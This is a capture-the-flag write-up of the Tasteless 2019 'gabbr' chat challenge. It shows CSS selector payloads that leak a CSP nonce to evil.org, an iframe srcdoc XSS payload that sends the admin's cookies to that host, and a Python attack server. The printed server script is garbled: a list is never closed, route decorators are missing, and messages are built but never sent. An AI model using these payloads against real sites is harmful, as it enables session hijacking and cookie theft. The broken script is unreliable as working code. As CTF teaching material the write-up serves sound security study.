Tasteless 2019 - Gabbr



gabbr is an online chatroom service. Upon loading the page, one joins a chatroom specified in the anchor part of the URL e.g. https://gabbr.hitme.tasteless.eu/#8f332afe-8f1d-411f-80f3-44bb2302405d. If no name is specified, a random UUID is generated upon join. The main functionality is to send messages in the chatroom. Furthermore, one can change the username to another randomly generated one, join a new random chatroom and report the chatroom to an admin. Upon reporting an admin joins the chat and stays in the room for 15s. Additionally, the chatroom is based on websockets.


Gathering intelligence (like the NSA 😎)

Messages are not sanitized, i.e. arbitrary HTML can be injected. However, the CSP policy is rather restrictive:

default-src 'self'; script-src 'nonce-cff855cb552d6be6be760496'; frame-src https://www.google.com/recaptcha/; connect-src 'self' xsstest.tasteless.eu https://www.google.com/recaptcha/; worker-src https://www.google.com/recaptcha/; style-src 'unsafe-inline' https://www.gstatic.com/recaptcha/; font-src 'self'; img-src *; report-uri https://xsstest.ctf.tasteless.eu/report-violation; object-src 'none'

Script tags are only executed if the have the correct nonce as an attribute. The nonce is generated server-side on every page load and is specified in the CSP as script-src 'nonce-cff855cb552d6be6be760496';. This blocks any other attempts and tricks to execute JavaScript like event handlers. So, to execute JavaScript, one needs to know the 24 characters long nonce of the loaded page which we obviously cannot trivially obtain from the admin. What we can do, though, is to load arbitrary CSS and images—style-src is set to unsafe-inline and img-src to * which allows for interesting attacks.

Getting the nonce

After searching on the web for ideas we stumbled upon this article from 2016: https://sirdarckcat.blogspot.com/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html The author describes an attack where one can extract the by using CSS:

  • Firstly, one injects a CSS selector which matches the first character of the nonce.
  • Upon matching, the CSS selector is set to load a background image from a given URL. Since we know what was matched we can add the matching characters to the request as GET parameters.
  • By repeating this process for every character, we can reconstruct the whole nonce with 24 messages.

This fits perfectly since we can inject arbitrary CSS! Therefore, like proper hackers, we copied his scripts. However, the given selectors did not work. Therefore, we began debugging the selectors on our own. After fruitless attempts trying to match the script tag using Chrome we noticed something peculiar: Chrome removes the nonce from the script-tag after it has been loaded. However, Firefox happily keeps the nonce in the DOM. Luckily, the attacker uses Firefox as we found out from the admin's user-agent header.

Our first approach was to match the script tag directly: script[nonce^="a"]. This should match any script-tag with a nonce that starts with a. However, this didn't work as expected. After lots of trial and error we figured out that you can't directly match a script-tag, but you can use it as part of the selector when selecting other elements. Therefore, we decided to use a sibling selector like this: script[nonce^="%s"] ~ nav. Since nav is a sibling of the script-tag this worked perfectly.

Using the above method we can send a message like this:

script[nonce^="0"] ~ nav {background:url("http://evil.org/?match=0")}
script[nonce^="1"] ~ nav {background:url("http://evil.org/?match=1")}
script[nonce^="f"] ~ nav {background:url("http://evil.org/?match=f")}

which triggers only if at least one element matches the selector (and as such, only the "correct" request is executed). Suppose the first character is a, then our next payload is as follows:

script[nonce^="a0"] ~ nav {background:url("http://evil.org/?match=a0")}
script[nonce^="a1"] ~ nav {background:url("http://evil.org/?match=a1")}
script[nonce^="af"] ~ nav {background:url("http://evil.org/?match=af")}

We can repeat this procedure 24 times to exfiltrate the whole nonce.

We implemented an attack server in python which receives the successful request and sends another message to the chatroom querying the next character as described above. The next payload is sent to the chatroom directly by connecting to the websocket of the chatroom.

However, upon trying it out we noticed that only the first request was being sent. This is because subsequent CSS injections have the same specificity as the previous CSS rules, that means that the background fetching isn't executed a second time. We solved this problem by manually curating a set of 24 selectors from least to most important:

script[nonce^="%s"] ~ *
script[nonce^="%s"] ~ ul
script[nonce^="%s"] ~ div
script[nonce^="%s"] ~ input
script[nonce^="%s"] ~ nav
body > script[nonce^="%s"] ~ ul
body > script[nonce^="%s"] ~ div
body > script[nonce^="%s"] ~ input
body > script[nonce^="%s"] ~ nav
script[nonce^="%s"] ~ #messages
script[nonce^="%s"] ~ #status
script[nonce^="%s"] ~ #chatbox
script[nonce^="%s"] ~ #recaptcha
script[nonce^="%s"] ~ nav > a
script[nonce^="%s"] ~ nav > #report-link
script[nonce^="%s"] ~ nav > #username
body script[nonce^="%s"] ~ #messages
body script[nonce^="%s"] ~ #status
body script[nonce^="%s"] ~ #chatbox
body script[nonce^="%s"] ~ #recaptcha
body script[nonce^="%s"] ~ nav > a
body script[nonce^="%s"] ~ nav > #report-link
body script[nonce^="%s"] ~ nav > #username
body script[nonce^="%s"] ~ nav > [href="/"]
body script[nonce^="%s"] ~ nav > [href="#"]

Putting it all together we managed to get the complete nonce!

Creating an exploit

Now that we have the nonce we can inject script-tags which bypass the CSP and will be executed. However, directly ínjecting <script nonce="...">alert(1);</script> does not have any effect because the script isn't being evaluated after the page has loaded. Therefore, to bypass this restriction we include the script inside an iframe by specifying it as the srcdoc. Our final exploit looks like this:

<iframe srcdoc="<script nonce=...>alert(document.cookie); var x = document.createElement('img'); x.src = 'http://evil.org/res?c=' + document.cookie;</script>"></iframe>

Notice that we are trying to load an image rather than sending a request directly because the latter is blocked by the CSP. Luckily, the CSP allows loading images from any origin.

Putting it all together

Our final approach was the following:

  1. Enter a chatroom using Chrome so that we are unaffected by the exploit
  2. Start the exploit server pointed at the chatroom
  3. Report the chatroom and wait for the admin to join
  4. Send the initial CSS payload manually through the browser.
  5. Let the server handle the rest
    1. Wait for an http request from the admin
    2. Parse the GET parameter
    3. Send the next CSS payload via websockets to exfiltrate the next 4haracter
    4. Repeat until we have the whole nonce
    5. Send the exploit iframe
    6. Listen for the request from the admin containing the cookies containing the flag
    7. ????
    8. PROFIT!!!!

Below is the final script that ran on the server:

from flask import Flask, request
import sys
import json
import websocket
import string

app = Flask(__name__)
URL = "http://evil.org:5000"

payloads = [
        'script[nonce^="%s"] ~ *',
        'script[nonce^="%s"] ~ ul',
        'script[nonce^="%s"] ~ div',
        'script[nonce^="%s"] ~ input',
        'script[nonce^="%s"] ~ nav',
        'body > script[nonce^="%s"] ~ ul',
        'body > script[nonce^="%s"] ~ div',
        'body > script[nonce^="%s"] ~ input',
        'body > script[nonce^="%s"] ~ nav',
        'script[nonce^="%s"] ~ #messages',
        'script[nonce^="%s"] ~ #status',
        'script[nonce^="%s"] ~ #chatbox',
        'script[nonce^="%s"] ~ #recaptcha',
        'script[nonce^="%s"] ~ nav > a',
        'script[nonce^="%s"] ~ nav > #report-link',
        'script[nonce^="%s"] ~ nav > #username',
        'body script[nonce^="%s"] ~ #messages',
        'body script[nonce^="%s"] ~ #status',
        'body script[nonce^="%s"] ~ #chatbox',
        'body script[nonce^="%s"] ~ #recaptcha',
        'body script[nonce^="%s"] ~ nav > a',
        'body script[nonce^="%s"] ~ nav > #report-link',
        'body script[nonce^="%s"] ~ nav > #username',
        'body script[nonce^="%s"] ~ nav > [href="/"]',
        'body script[nonce^="%s"] ~ nav > [href="#"]',

def exploit(nonce, url):
    x = """<iframe srcdoc="<script nonce=%s>alert(document.cookie); var x = document.createElement('img'); x.src = '%s/res?c=' + document.cookie;</script>"></iframe>""" % (nonce, url)
    msg = {"username" : "aaa", "type": "gabbr-message", "content": x}

def generate_style(c, url):
    style = "<style>"
    for x in "abcdef" + string.digits:
        style = style + ((payloads[len(c)] + '{ background:url("%s/?match=%s") } ') % (c + x, url, c + x))
    style = style + "</style>"
    return style

def handler():
    match = request.args.get('match')
    if len(match) == 24:
        exploit(match, URL)
    return "a"

def res():
    match = request.args.get('c')
    return "a"

def send_req(match):
    msg = {"username" : "aaa", "type": "gabbr-message", "content": generate_style(match, URL)}

if __name__ == '__main__':
    uri = "wss://gabbr.hitme.tasteless.eu/" + sys.argv[1]
    socket = websocket.WebSocket()
    print(generate_style("", URL)) # This outputs the initial payload, we did it manually to avoid certain concurrency issues